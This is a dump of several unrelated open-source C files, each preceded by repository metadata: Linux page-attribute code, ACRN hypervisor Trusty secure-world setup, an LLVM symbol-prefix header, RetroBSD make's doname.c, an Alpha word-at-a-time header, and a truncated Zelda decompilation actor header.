simple! */ return __change_page_attr_set_clr(&cpa, 0); } void kernel_map_pages(struct page *page, int numpages, int enable) { if (PageHighMem(page)) return; if (!enable) { debug_check_no_locks_freed(page_address(page), numpages * PAGE_SIZE); } /* * The return value is ignored as the calls cannot fail. * Large pages for identity mappings are not used at boot time * and hence no memory allocations during large page split. */ if (enable) __set_pages_p(page, numpages); else __set_pages_np(page, numpages); /* * We should perform an IPI and flush all tlbs, * but that can deadlock->flush only current cpu: */ __flush_tlb_all(); arch_flush_lazy_mmu_mode(); } #ifdef CONFIG_HIBERNATION bool kernel_page_present(struct page *page) { unsigned int level; pte_t *pte; if (PageHighMem(page)) return false; pte = lookup_address((unsigned long)page_address(page), &level); return (pte_val(*pte) & _PAGE_PRESENT); } #endif /* CONFIG_HIBERNATION */ #endif /* CONFIG_DEBUG_PAGEALLOC */ /* * The testcases use internal knowledge of the implementation that shouldn't * be exposed to the rest of the kernel. Include these directly here. */ #ifdef CONFIG_CPA_DEBUG #include "pageattr-test.c" #endif
7ad886d7147c04506c0e123ce1a7ef73c24f8a4a
1f399edf85d995443d01f66d77eca0723886d0ff
/hypervisor/arch/x86/guest/trusty.c
5975f62238317db51f4393063368f8af6e24afa4
[ "BSD-3-Clause" ]
permissive
projectacrn/acrn-hypervisor
f9c5864d54929a5d2fa36b5e78c08f19b46b8f98
390740aa1b1e9d62c51f8e3afa0c29e07e43fa23
refs/heads/master
2023-08-18T05:07:01.310327
2023-08-11T07:49:36
2023-08-16T13:20:27
123,983,554
1,059
686
BSD-3-Clause
2023-09-14T09:51:10
2018-03-05T21:52:25
C
UTF-8
C
false
false
14,075
c
trusty.c
/* * Copyright (C) 2018-2022 Intel Corporation. * * SPDX-License-Identifier: BSD-3-Clause */ #include <types.h> #include <asm/lib/bits.h> #include <crypto_api.h> #include <asm/guest/trusty.h> #include <asm/page.h> #include <asm/pgtable.h> #include <asm/mmu.h> #include <asm/guest/ept.h> #include <asm/guest/vm.h> #include <asm/vmx.h> #include <asm/security.h> #include <logmsg.h> #include <asm/seed.h> #include <asm/tsc.h> #define TRUSTY_VERSION 1U #define TRUSTY_VERSION_2 2U struct trusty_mem { /* The first page of trusty memory is reserved for key_info and trusty_startup_param. */ struct { struct trusty_key_info key_info; struct trusty_startup_param startup_param; } first_page; /* The left memory is for trusty's code/data/heap/stack */ } __aligned(PAGE_SIZE); /** * @defgroup trusty_apis Trusty APIs * * This is a special group that includes all APIs * related to Trusty * * @{ */ /** * @brief Create Secure World EPT hierarchy * * Create Secure World EPT hierarchy, construct new PML4/PDPT, reuse PD/PT parse from * vm->arch_vm->ept * * @param vm pointer to a VM with 2 Worlds * @param gpa_orig original gpa allocated from vSBL * @param size LK size (16M by default) * @param gpa_rebased gpa rebased to offset xxx (511G_OFFSET) * */ static void create_secure_world_ept(struct acrn_vm *vm, uint64_t gpa_orig, uint64_t size, uint64_t gpa_rebased) { /* Check the HPA of parameter gpa_orig when invoking check_continuos_hpa */ uint64_t hpa; hpa = gpa2hpa(vm, gpa_orig); /* Unmap gpa_orig~gpa_orig+size from guest normal world ept mapping */ ept_del_mr(vm, (uint64_t *)vm->arch_vm.nworld_eptp, gpa_orig, size); vm->arch_vm.sworld_eptp = pgtable_create_trusty_root(&vm->arch_vm.ept_pgtable, vm->arch_vm.nworld_eptp, EPT_RWX, EPT_EXE); /* Map [gpa_rebased, gpa_rebased + size) to secure ept mapping */ ept_add_mr(vm, (uint64_t *)vm->arch_vm.sworld_eptp, hpa, gpa_rebased, size, EPT_RWX | EPT_WB); /* Backup secure world info, will be used when destroy secure world and suspend User VM */ vm->sworld_control.sworld_memory.base_gpa_in_user_vm = gpa_orig; vm->sworld_control.sworld_memory.base_hpa = hpa; vm->sworld_control.sworld_memory.length = size; } void destroy_secure_world(struct acrn_vm *vm, bool need_clr_mem) { uint64_t hpa = vm->sworld_control.sworld_memory.base_hpa; uint64_t gpa_user_vm = vm->sworld_control.sworld_memory.base_gpa_in_user_vm; uint64_t size = vm->sworld_control.sworld_memory.length; if (vm->arch_vm.sworld_eptp != NULL) { if (need_clr_mem) { /* clear trusty memory space */ stac(); (void)memset(hpa2hva(hpa), 0U, (size_t)size); clac(); } ept_del_mr(vm, vm->arch_vm.sworld_eptp, gpa_user_vm, size); vm->arch_vm.sworld_eptp = NULL; /* Restore memory to guest normal world */ ept_add_mr(vm, vm->arch_vm.nworld_eptp, hpa, gpa_user_vm, size, EPT_RWX | EPT_WB); } else { pr_err("sworld eptp is NULL, it's not created"); } } static void save_world_ctx(struct acrn_vcpu *vcpu, struct ext_context *ext_ctx) { uint32_t i; /* cache on-demand run_context for efer/rflags/rsp/rip/cr0/cr4 */ (void)vcpu_get_efer(vcpu); (void)vcpu_get_rflags(vcpu); (void)vcpu_get_rsp(vcpu); (void)vcpu_get_rip(vcpu); (void)vcpu_get_cr0(vcpu); (void)vcpu_get_cr4(vcpu); /* VMCS GUEST field */ ext_ctx->tsc_offset = exec_vmread(VMX_TSC_OFFSET_FULL); ext_ctx->cr3 = exec_vmread(VMX_GUEST_CR3); ext_ctx->dr7 = exec_vmread(VMX_GUEST_DR7); ext_ctx->ia32_debugctl = exec_vmread64(VMX_GUEST_IA32_DEBUGCTL_FULL); /* * Similar to CR0 and CR4, the actual value of guest's IA32_PAT MSR * (represented by ext_ctx->ia32_pat) could be different from the * value that guest reads (guest_msrs[IA32_PAT]). * * the wrmsr handler keeps track of 'guest_msrs', and we only * need to save/load 'ext_ctx->ia32_pat' in world switch. */ ext_ctx->ia32_pat = exec_vmread64(VMX_GUEST_IA32_PAT_FULL); ext_ctx->ia32_sysenter_esp = exec_vmread(VMX_GUEST_IA32_SYSENTER_ESP); ext_ctx->ia32_sysenter_eip = exec_vmread(VMX_GUEST_IA32_SYSENTER_EIP); ext_ctx->ia32_sysenter_cs = exec_vmread32(VMX_GUEST_IA32_SYSENTER_CS); save_segment(ext_ctx->cs, VMX_GUEST_CS); save_segment(ext_ctx->ss, VMX_GUEST_SS); save_segment(ext_ctx->ds, VMX_GUEST_DS); save_segment(ext_ctx->es, VMX_GUEST_ES); save_segment(ext_ctx->fs, VMX_GUEST_FS); save_segment(ext_ctx->gs, VMX_GUEST_GS); save_segment(ext_ctx->tr, VMX_GUEST_TR); save_segment(ext_ctx->ldtr, VMX_GUEST_LDTR); /* Only base and limit for IDTR and GDTR */ ext_ctx->idtr.base = exec_vmread(VMX_GUEST_IDTR_BASE); ext_ctx->gdtr.base = exec_vmread(VMX_GUEST_GDTR_BASE); ext_ctx->idtr.limit = exec_vmread32(VMX_GUEST_IDTR_LIMIT); ext_ctx->gdtr.limit = exec_vmread32(VMX_GUEST_GDTR_LIMIT); /* MSRs which not in the VMCS */ ext_ctx->ia32_star = msr_read(MSR_IA32_STAR); ext_ctx->ia32_lstar = msr_read(MSR_IA32_LSTAR); ext_ctx->ia32_fmask = msr_read(MSR_IA32_FMASK); ext_ctx->ia32_kernel_gs_base = msr_read(MSR_IA32_KERNEL_GS_BASE); ext_ctx->tsc_aux = msr_read(MSR_IA32_TSC_AUX); /* XSAVE area */ save_xsave_area(vcpu, ext_ctx); /* For MSRs need isolation between worlds */ for (i = 0U; i < NUM_WORLD_MSRS; i++) { vcpu->arch.contexts[vcpu->arch.cur_context].world_msrs[i] = vcpu->arch.guest_msrs[i]; } } static void load_world_ctx(struct acrn_vcpu *vcpu, const struct ext_context *ext_ctx) { uint32_t i; /* mark to update on-demand run_context for efer/rflags/rsp/rip/cr0/cr4 */ bitmap_set_nolock(CPU_REG_EFER, &vcpu->reg_updated); bitmap_set_nolock(CPU_REG_RFLAGS, &vcpu->reg_updated); bitmap_set_nolock(CPU_REG_RSP, &vcpu->reg_updated); bitmap_set_nolock(CPU_REG_RIP, &vcpu->reg_updated); bitmap_set_nolock(CPU_REG_CR0, &vcpu->reg_updated); bitmap_set_nolock(CPU_REG_CR4, &vcpu->reg_updated); /* VMCS Execution field */ exec_vmwrite64(VMX_TSC_OFFSET_FULL, ext_ctx->tsc_offset); /* VMCS GUEST field */ exec_vmwrite(VMX_GUEST_CR3, ext_ctx->cr3); exec_vmwrite(VMX_GUEST_DR7, ext_ctx->dr7); exec_vmwrite64(VMX_GUEST_IA32_DEBUGCTL_FULL, ext_ctx->ia32_debugctl); exec_vmwrite64(VMX_GUEST_IA32_PAT_FULL, ext_ctx->ia32_pat); exec_vmwrite32(VMX_GUEST_IA32_SYSENTER_CS, ext_ctx->ia32_sysenter_cs); exec_vmwrite(VMX_GUEST_IA32_SYSENTER_ESP, ext_ctx->ia32_sysenter_esp); exec_vmwrite(VMX_GUEST_IA32_SYSENTER_EIP, ext_ctx->ia32_sysenter_eip); load_segment(ext_ctx->cs, VMX_GUEST_CS); load_segment(ext_ctx->ss, VMX_GUEST_SS); load_segment(ext_ctx->ds, VMX_GUEST_DS); load_segment(ext_ctx->es, VMX_GUEST_ES); load_segment(ext_ctx->fs, VMX_GUEST_FS); load_segment(ext_ctx->gs, VMX_GUEST_GS); load_segment(ext_ctx->tr, VMX_GUEST_TR); load_segment(ext_ctx->ldtr, VMX_GUEST_LDTR); /* Only base and limit for IDTR and GDTR */ exec_vmwrite(VMX_GUEST_IDTR_BASE, ext_ctx->idtr.base); exec_vmwrite(VMX_GUEST_GDTR_BASE, ext_ctx->gdtr.base); exec_vmwrite32(VMX_GUEST_IDTR_LIMIT, ext_ctx->idtr.limit); exec_vmwrite32(VMX_GUEST_GDTR_LIMIT, ext_ctx->gdtr.limit); /* MSRs which not in the VMCS */ msr_write(MSR_IA32_STAR, ext_ctx->ia32_star); msr_write(MSR_IA32_LSTAR, ext_ctx->ia32_lstar); msr_write(MSR_IA32_FMASK, ext_ctx->ia32_fmask); msr_write(MSR_IA32_KERNEL_GS_BASE, ext_ctx->ia32_kernel_gs_base); msr_write(MSR_IA32_TSC_AUX, ext_ctx->tsc_aux); /* XSAVE area */ rstore_xsave_area(vcpu, ext_ctx); /* For MSRs need isolation between worlds */ for (i = 0U; i < NUM_WORLD_MSRS; i++) { vcpu->arch.guest_msrs[i] = vcpu->arch.contexts[!vcpu->arch.cur_context].world_msrs[i]; } } static void copy_smc_param(const struct run_context *prev_ctx, struct run_context *next_ctx) { next_ctx->cpu_regs.regs.rdi = prev_ctx->cpu_regs.regs.rdi; next_ctx->cpu_regs.regs.rsi = prev_ctx->cpu_regs.regs.rsi; next_ctx->cpu_regs.regs.rdx = prev_ctx->cpu_regs.regs.rdx; next_ctx->cpu_regs.regs.rbx = prev_ctx->cpu_regs.regs.rbx; } void switch_world(struct acrn_vcpu *vcpu, int32_t next_world) { struct acrn_vcpu_arch *arch = &vcpu->arch; /* save previous world context */ save_world_ctx(vcpu, &arch->contexts[!next_world].ext_ctx); /* load next world context */ load_world_ctx(vcpu, &arch->contexts[next_world].ext_ctx); /* Copy SMC parameters: RDI, RSI, RDX, RBX */ copy_smc_param(&arch->contexts[!next_world].run_ctx, &arch->contexts[next_world].run_ctx); if (next_world == NORMAL_WORLD) { /* load EPTP for next world */ exec_vmwrite64(VMX_EPT_POINTER_FULL, hva2hpa(vcpu->vm->arch_vm.nworld_eptp) | (3UL << 3U) | 0x6UL); #ifndef CONFIG_L1D_FLUSH_VMENTRY_ENABLED cpu_l1d_flush(); #endif } else { exec_vmwrite64(VMX_EPT_POINTER_FULL, hva2hpa(vcpu->vm->arch_vm.sworld_eptp) | (3UL << 3U) | 0x6UL); } /* Update world index */ arch->cur_context = next_world; } /* Put key_info and trusty_startup_param in the first Page of Trusty * runtime memory */ static bool setup_trusty_info(struct acrn_vcpu *vcpu, uint32_t mem_size, uint64_t mem_base_hpa, uint8_t *rkey) { bool success = false; struct trusty_mem *mem; struct trusty_key_info key_info; struct trusty_startup_param startup_param; (void)memset(&key_info, 0U, sizeof(key_info)); key_info.size_of_this_struct = sizeof(struct trusty_key_info); key_info.version = 0U; key_info.platform = 3U; if (rkey != NULL) { (void)memcpy_s(key_info.rpmb_key, 64U, rkey, 64U); (void)memset(rkey, 0U, 64U); } /* Derive dvseed from dseed for Trusty */ if (derive_virtual_seed(&key_info.dseed_list[0U], &key_info.num_seeds, NULL, 0U, (uint8_t *)vcpu->vm->name, strnlen_s(vcpu->vm->name, MAX_VM_NAME_LEN))) { /* Derive encryption key of attestation keybox from dseed */ if (derive_attkb_enc_key(key_info.attkb_enc_key)) { /* Prepare trusty startup param */ startup_param.size_of_this_struct = sizeof(struct trusty_startup_param); startup_param.mem_size = mem_size; startup_param.tsc_per_ms = TSC_PER_MS; startup_param.trusty_mem_base = TRUSTY_EPT_REBASE_GPA; /* According to trusty boot protocol, it will use RDI as the * address(GPA) of startup_param on boot. Currently, the startup_param * is put in the first page of trusty memory just followed by key_info. */ vcpu->arch.contexts[SECURE_WORLD].run_ctx.cpu_regs.regs.rdi = (uint64_t)TRUSTY_EPT_REBASE_GPA + sizeof(struct trusty_key_info); stac(); mem = (struct trusty_mem *)(hpa2hva(mem_base_hpa)); (void)memcpy_s((void *)&mem->first_page.key_info, sizeof(struct trusty_key_info), &key_info, sizeof(key_info)); (void)memcpy_s((void *)&mem->first_page.startup_param, sizeof(struct trusty_startup_param), &startup_param, sizeof(startup_param)); clac(); success = true; } } (void)memset(&key_info, 0U, sizeof(key_info)); return success; } /* Secure World will reuse environment of User VM Loder since they are * both booting from and running in 64bit mode, except GP registers. * RIP, RSP and RDI are specified below, other GP registers are leaved * as 0. */ static bool init_secure_world_env(struct acrn_vcpu *vcpu, uint64_t entry_gpa, uint64_t base_hpa, uint32_t size, uint8_t *rpmb_key) { uint32_t i; vcpu->arch.inst_len = 0U; vcpu->arch.contexts[SECURE_WORLD].run_ctx.rip = entry_gpa; vcpu->arch.contexts[SECURE_WORLD].run_ctx.cpu_regs.regs.rsp = TRUSTY_EPT_REBASE_GPA + size; vcpu->arch.contexts[SECURE_WORLD].ext_ctx.tsc_offset = 0UL; /* Init per world MSRs */ for (i = 0U; i < NUM_WORLD_MSRS; i++) { vcpu->arch.contexts[NORMAL_WORLD].world_msrs[i] = vcpu->arch.guest_msrs[i]; vcpu->arch.contexts[SECURE_WORLD].world_msrs[i] = vcpu->arch.guest_msrs[i]; } return setup_trusty_info(vcpu, size, base_hpa, rpmb_key); } bool initialize_trusty(struct acrn_vcpu *vcpu, struct trusty_boot_param *boot_param) { bool success = true; uint64_t trusty_entry_gpa, trusty_base_gpa, trusty_base_hpa; uint32_t trusty_mem_size; struct acrn_vm *vm = vcpu->vm; uint8_t *rpmb_key = NULL; switch (boot_param->version) { case TRUSTY_VERSION_2: trusty_entry_gpa = ((uint64_t)boot_param->entry_point) | (((uint64_t)boot_param->entry_point_high) << 32U); trusty_base_gpa = ((uint64_t)boot_param->base_addr) | (((uint64_t)boot_param->base_addr_high) << 32U); rpmb_key = boot_param->rpmb_key; break; case TRUSTY_VERSION: trusty_entry_gpa = (uint64_t)boot_param->entry_point; trusty_base_gpa = (uint64_t)boot_param->base_addr; break; default: pr_err("%s: Version(%u) not supported!\n", __func__, boot_param->version); success = false; break; } if (success) { if ((vm->sworld_control.flag.supported == 0UL) || (vm->arch_vm.sworld_eptp != NULL)) { pr_err("Sworld is not supported or Sworld eptp is not NULL"); success = false; } else { trusty_mem_size = boot_param->mem_size; create_secure_world_ept(vm, trusty_base_gpa, trusty_mem_size, TRUSTY_EPT_REBASE_GPA); trusty_base_hpa = vm->sworld_control.sworld_memory.base_hpa; exec_vmwrite64(VMX_EPT_POINTER_FULL, hva2hpa(vm->arch_vm.sworld_eptp) | (3UL << 3U) | 0x6UL); /* save Normal World context */ save_world_ctx(vcpu, &vcpu->arch.contexts[NORMAL_WORLD].ext_ctx); /* init secure world environment */ if (init_secure_world_env(vcpu, (trusty_entry_gpa - trusty_base_gpa) + TRUSTY_EPT_REBASE_GPA, trusty_base_hpa, trusty_mem_size, rpmb_key)) { /* switch to Secure World */ vcpu->arch.cur_context = SECURE_WORLD; } else { success = false; } } } return success; } void save_sworld_context(struct acrn_vcpu *vcpu) { (void)memcpy_s((void *)&vcpu->vm->sworld_snapshot, sizeof(struct guest_cpu_context), (void *)&vcpu->arch.contexts[SECURE_WORLD], sizeof(struct guest_cpu_context)); } void restore_sworld_context(struct acrn_vcpu *vcpu) { struct secure_world_control *sworld_ctl = &vcpu->vm->sworld_control; create_secure_world_ept(vcpu->vm, sworld_ctl->sworld_memory.base_gpa_in_user_vm, sworld_ctl->sworld_memory.length, TRUSTY_EPT_REBASE_GPA); (void)memcpy_s((void *)&vcpu->arch.contexts[SECURE_WORLD], sizeof(struct guest_cpu_context), (void *)&vcpu->vm->sworld_snapshot, sizeof(struct guest_cpu_context)); } /** * @} */ /* End of trusty_apis */
c9c3acb3dc9561ae6046b97634e9f0d06ac14484
42e150011a7479458e6f4a28cdd12fb5280d1c56
/include/llvm/Config/indexstoredb-prefix.h
f301fc24a03efadcbbdb1dbbac6c9d19e9c97b68
[ "Apache-2.0", "Swift-exception" ]
permissive
apple/indexstore-db
165aab0fb6c7b95599431ea72cf0b25d805c27df
89ec16c2ac1bb271614e734a2ee792224809eb20
refs/heads/main
2023-09-01T15:02:04.498708
2023-03-03T16:06:20
2023-03-03T16:06:20
154,773,489
301
79
Apache-2.0
2023-08-14T21:03:03
2018-10-26T03:42:22
C++
UTF-8
C
false
false
1,472
h
indexstoredb-prefix.h
/*===------- llvm/Config/indexstoredb-prefix.h --------------------*- C -*-===*/ /* */ /* The LLVM Compiler Infrastructure */ /* */ /* This file is distributed under the University of Illinois Open Source */ /* License. See LICENSE.TXT for details. */ /* */ /*===----------------------------------------------------------------------===*/ #ifndef INDEXSTOREDB_PREFIX_H #define INDEXSTOREDB_PREFIX_H /* HACK: Rename all of the llvm symbols so that they will not collide if another * copy of llvm is linked into the same image. The use of llvm within IndexStore * is purely an implementation detail. Using a source-level rename is a * workaround for the lack of symbol visibility controls in swiftpm. Ideally we * could do this with a combination of `-fvisibility=hidden` and `ld -r`. */ #define llvm indexstoredb_llvm #define LLVMEnablePrettyStackTrace indexstoredb_LLVMEnablePrettyStackTrace #define LLVMParseCommandLineOptions indexstoredb_LLVMParseCommandLineOptions #define LLVMResetFatalErrorHandler indexstoredb_LLVMResetFatalErrorHandler #define LLVMInstallFatalErrorHandler indexstoredb_LLVMInstallFatalErrorHandler #endif // INDEXSTOREDB_PREFIX_H
7f0b2518907ff6dab5aea8f0e91bd72eea83a41a
c26d7b0ed875357278e61627da2da0650da77986
/src/cmd/make/doname.c
b665d3d677c694e5e78122c34aa912e2132f9284
[ "BSD-3-Clause" ]
permissive
RetroBSD/retrobsd
5343d9e3c424637fc3ad5b03fe720b2744490025
486f81f6abff01c7dcc207235cd2979b226a95ff
refs/heads/master
2023-09-02T23:12:05.110883
2023-07-07T18:41:40
2023-07-07T18:41:40
18,598,087
282
59
BSD-3-Clause
2023-07-18T07:35:36
2014-04-09T13:25:46
C
UTF-8
C
false
false
10,209
c
doname.c
/* * BASIC PROCEDURE. RECURSIVE. * * p->done = 0 don't know what to do yet * p->done = 1 file in process of being updated * p->done = 2 file already exists in current state * p->done = 3 file make failed */ #include "defs.h" #include <stdlib.h> #include <strings.h> #include <signal.h> extern char *sys_siglist[], arfile[], *arfname; int docom1(comstring, nohalt, noprint) register char *comstring; int nohalt, noprint; { register int status; if (comstring[0] == '\0') return(0); if (! silflag && (! noprint || noexflag)) { printf("%s%s\n", (noexflag ? "" : prompt), comstring); fflush(stdout); } if (noexflag) return(0); status = dosys(comstring, nohalt); if (status != 0) { unsigned sig = status & 0177; if (sig) { if (sig < NSIG && sys_siglist[sig] != NULL && *sys_siglist[sig] != '\0') printf("*** %s", sys_siglist[sig]); else printf("*** Signal %d", sig); if (status & 0200) printf(" - core dumped"); } else printf("*** Exit %d", (status>>8) & 0xff); if (nohalt) printf(" (ignored)\n"); else printf("\n"); fflush(stdout); } return(status); } int docom(q) struct shblock *q; { register char *s; register int ign, nopr; char string[OUTMAX]; char string2[OUTMAX]; ++ndocoms; if (questflag) return(NO); if (touchflag) { s = varptr("@")->varval; if (! silflag) printf("touch(%s)\n", s); if (! noexflag) touch(YES, s); } else { for (; q; q = q->nxtshblock) { subst(q->shbp, string2); fixname(string2, string); ign = ignerr; nopr = NO; for(s = string; *s=='-' || *s=='@'; ++s) { if (*s == '-') ign = YES; else nopr = YES; } if (docom1(s, ign, nopr) && ! ign) { if (keepgoing) return(YES); else fatal((char *) NULL); } } } return(NO); } int doname(p, reclevel, tval) register struct nameblock *p; int reclevel; TIMETYPE *tval; { int errstat; u_char okdel1; u_char didwork; TIMETYPE td, td1, tdep, ptime, ptime1; register struct depblock *q; struct depblock *qtemp, *srchdir(), *suffp, *suffp1; struct nameblock *p1, *p2; struct shblock *implcom, *explcom; register struct lineblock *lp; struct lineblock *lp1, *lp2; char *pnamep, *p1namep, *cp, *savenamep = NULL; struct chain *qchain; /* * temp and sourcename are mutually exclusive - save 254 bytes of stack by * reusing sourcename's buffer */ char sourcename[256], prefix[256], *temp = sourcename, concsuff[20]; { /* * VPATH= ${PATH1}:${PATH2} didn't work. This fix is so ugly I don't * even want to think about it. Basically it grabs VPATH and * explicitly does macro expansion before resolving names. Why * VPATH didn't get handled correctly I have no idea; the symptom * was that, while macro expansion got done, the .c files in the * non-local directories wouldn't be found. */ static struct varblock *vpath_cp; static char vpath_exp[256]; if (! vpath_cp) { vpath_cp = varptr("VPATH"); if (vpath_cp->varval) { subst(vpath_cp->varval, vpath_exp); setvar("VPATH", vpath_exp); } } } if (p == 0) { *tval = 0; return(0); } if (dbgflag) { printf("doname(%s,%d)\n",p->namep,reclevel); fflush(stdout); } if (p->done > 0) { *tval = p->modtime; return(p->done == 3); } errstat = 0; tdep = 0; implcom = 0; explcom = 0; ptime = exists(p); ptime1 = 0; didwork = NO; p->done = 1; /* avoid infinite loops */ qchain = NULL; /* Expand any names that have embedded metacharaters */ for (lp = p->linep ; lp ; lp = lp->nxtlineblock) { for (q = lp->depp ; q ; q=qtemp) { qtemp = q->nxtdepblock; expand(q); } } /* make sure all dependents are up to date */ for(lp = p->linep; lp; lp = lp->nxtlineblock) { td = 0; for (q = lp->depp; q; q = q->nxtdepblock) { errstat += doname(q->depname, reclevel+1, &td1); if (dbgflag) printf("TIME(%s)=%ld\n", q->depname->namep, td1); if (td1 > td) td = td1; if (ptime < td1) qchain = appendq(qchain, q->depname->namep); } if (p->septype == SOMEDEPS) { if (lp->shp != 0) { if (ptime<td || (ptime==0 && td==0) || lp->depp==0) { okdel1 = okdel; okdel = NO; setvar("@", p->namep); setvar("?", mkqlist(qchain) ); qchain = NULL; if (! questflag) errstat += docom(lp->shp); setvar("@", (char *) NULL); okdel = okdel1; ptime1 = prestime(); didwork = YES; } } } else { if (lp->shp != 0) { if (explcom) fprintf(stderr, "Too many command lines for `%s'\n", p->namep); else explcom = lp->shp; } if (td > tdep) tdep = td; } } /* Look for implicit dependents, using suffix rules */ if (index(p->namep, '(')) { savenamep = p->namep; p->namep = arfname; } for(lp = sufflist ; lp ; lp = lp->nxtlineblock) { for(suffp = lp->depp ; suffp ; suffp = suffp->nxtdepblock) { pnamep = suffp->depname->namep; if (suffix(p->namep, pnamep, prefix)) { if (savenamep) pnamep = ".a"; srchdir( concat(prefix,"*",temp), NO, (struct depblock *) NULL); for(lp1 = sufflist ; lp1 ; lp1 = lp1->nxtlineblock) { for(suffp1=lp1->depp ; suffp1 ; suffp1 = suffp1->nxtdepblock) { p1namep = suffp1->depname->namep; if ((p1=srchname(concat(p1namep, pnamep ,concsuff))) && (p2=srchname(concat(prefix, p1namep ,sourcename)))) { errstat += doname(p2, reclevel+1, &td); if (ptime < td) qchain = appendq(qchain, p2->namep); if (dbgflag) printf("TIME(%s)=%ld\n", p2->namep, td); if (td > tdep) tdep = td; setvar("*", prefix); if (p2->alias) setvar("<", copys(p2->alias)); else setvar("<", copys(p2->namep)); for(lp2=p1->linep ; lp2 ; lp2 = lp2->nxtlineblock) { implcom = lp2->shp; if (implcom) break; } goto endloop; } } } cp = rindex(prefix, '/'); if (cp++ == 0) cp = prefix; setvar("*", cp); } } } endloop: if (savenamep) p->namep = savenamep; if (errstat==0 && (ptime<tdep || (ptime==0 && tdep==0))) { ptime = (tdep > 0) ? tdep : prestime(); setvar("@", savenamep ? arfile : p->namep); setvar("?", mkqlist(qchain) ); if (explcom) { errstat += docom(explcom); } else if (implcom) { errstat += docom(implcom); } else if (p->septype == 0) { p1 = srchname(".DEFAULT"); if (p1) { if (p->alias) setvar("<", p->alias); else setvar("<", p->namep); for (lp2 = p1->linep; lp2; lp2 = lp2->nxtlineblock) { implcom = lp2->shp; if (implcom) { errstat += docom(implcom); break; } } } else if (keepgoing) { printf("Don't know how to make %s\n", p->namep); ++errstat; } else fatal1(" Don't know how to make %s", p->namep); } setvar("@", (char *) NULL); if (noexflag || (ptime = exists(p)) == 0) ptime = prestime(); } else if (errstat!=0 && reclevel==0) printf("`%s' not remade because of errors\n", p->namep); else if (!questflag && reclevel==0 && didwork==NO) printf("`%s' is up to date.\n", p->namep); if (questflag && reclevel==0) exit(ndocoms>0 ? -1 : 0); p->done = (errstat ? 3 : 2); if (ptime1 > ptime) ptime = ptime1; p->modtime = ptime; *tval = ptime; return(errstat); } /* * If there are any Shell meta characters in the name, * expand into a list, after searching directory */ void expand(q) register struct depblock *q; { register char *s; char *s1; struct depblock *p; if (q->depname == NULL) return; s1 = q->depname->namep; for (s=s1; ;) { switch(*s++) { case '\0': return; case '*': case '?': case '[': p = srchdir(s1, YES, q->nxtdepblock); if (p) { q->nxtdepblock = p; q->depname = 0; } return; } } }
609be19f7f82b199d40d6ebf721477ebba3bba61
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/linux-a64/arch/alpha/include/asm/word-at-a-time.h
6b340d0f1521c3ad9c4edf984abe60982ae24c04
[ "Linux-syscall-note", "GPL-2.0-only", "GPL-1.0-or-later", "LicenseRef-scancode-free-unknown", "Apache-2.0" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
1,271
h
word-at-a-time.h
#ifndef _ASM_WORD_AT_A_TIME_H #define _ASM_WORD_AT_A_TIME_H #include <asm/compiler.h> /* * word-at-a-time interface for Alpha. */ /* * We do not use the word_at_a_time struct on Alpha, but it needs to be * implemented to humour the generic code. */ struct word_at_a_time { const unsigned long unused; }; #define WORD_AT_A_TIME_CONSTANTS { 0 } /* Return nonzero if val has a zero */ static inline unsigned long has_zero(unsigned long val, unsigned long *bits, const struct word_at_a_time *c) { unsigned long zero_locations = __kernel_cmpbge(0, val); *bits = zero_locations; return zero_locations; } static inline unsigned long prep_zero_mask(unsigned long val, unsigned long bits, const struct word_at_a_time *c) { return bits; } #define create_zero_mask(bits) (bits) static inline unsigned long find_zero(unsigned long bits) { #if defined(CONFIG_ALPHA_EV6) && defined(CONFIG_ALPHA_EV67) /* Simple if have CIX instructions */ return __kernel_cttz(bits); #else unsigned long t1, t2, t3; /* Retain lowest set bit only */ bits &= -bits; /* Binary search for lowest set bit */ t1 = bits & 0xf0; t2 = bits & 0xcc; t3 = bits & 0xaa; if (t1) t1 = 4; if (t2) t2 = 2; if (t3) t3 = 1; return t1 + t2 + t3; #endif } #endif /* _ASM_WORD_AT_A_TIME_H */
654873cd9021a8c0a3a18644c27a6513beaf0e04
035660e8cc10571ebbd0d4393fef063bb7eb98f6
/src/overlays/actors/ovl_En_Bigpo/z_en_bigpo.h
d622abc0fb4d7b27c69f69decb2ec297f396c6e9
[]
no_license
zeldaret/mm
f163a5e7c4314105777369fa7671ce9c2a99922a
4ae00e909e74044f05155683b49d2561f91de7ba
refs/heads/master
2023-08-06T07:22:04.912966
2023-08-04T20:36:03
2023-08-04T20:36:03
247,875,852
915
328
null
2023-09-14T11:48:59
2020-03-17T04:03:07
C
UTF-8
C
false
false
2,598
h
z_en_bigpo.h
#ifndef Z_EN_BIGPO_H #define Z_EN_BIGPO_H #include "global.h" #include "objects/object_bigpo/object_bigpo.h" struct EnBigpo; typedef void (*EnBigPoActionFunc)(struct EnBigpo*, PlayState*); typedef struct EnBigpoFireEffect { /* 0x00 */ Vec3f pos; /* 0x0C */ LightNode* light; /* 0x10 */ LightInfo info; // size 0xE } EnBigpoFireEffect; // size = 0x20 // idleTimer gets reused: // * after dampe reveals a fire, 8 minutes of frames before it goes away again // * used by flames and regular bigpo to count frames during the appearance cutscene // * when idle flying around, frames until next attack // * when spinning in/out of reality, counts frames from start // * in burning death, counts frames from death start // * after scoop spawned, idle timer used to count down to actor disapear typedef struct EnBigpo { /* 0x000 */ Actor actor; /* 0x144 */ SkelAnime skelAnime; /* 0x188 */ Vec3s jointTable[BIG_POE_LIMB_MAX]; /* 0x1C4 */ Vec3s morphTable[BIG_POE_LIMB_MAX]; /* 0x200 */ EnBigPoActionFunc actionFunc; /* 0x204 */ u8 storePrevBgm; /* 0x206 */ s16 idleTimer; // frame counter /* 0x208 */ s16 unk208; // facing rotY? /* 0x20A */ s16 rotVelocity; /* 0x20C */ s16 unk20C; // is this counting the number of frames the player is ztargeting them? /* 0x20E */ s16 subCamId; /* 0x210 */ s16 switchFlags; /* 0x212 */ s16 hoverHeightCycleTimer; // sin wave up and down bobbing /* 0x214 */ f32 fireRadius; // distance from center during conjunction cutscene /* 0x218 */ f32 savedHeight; // actual height while flying moves as part of bobbing /* 0x21C */ f32 drawDmgEffAlpha; /* 0x220 */ f32 drawDmgEffScale; /* 0x224 */ Vec3f 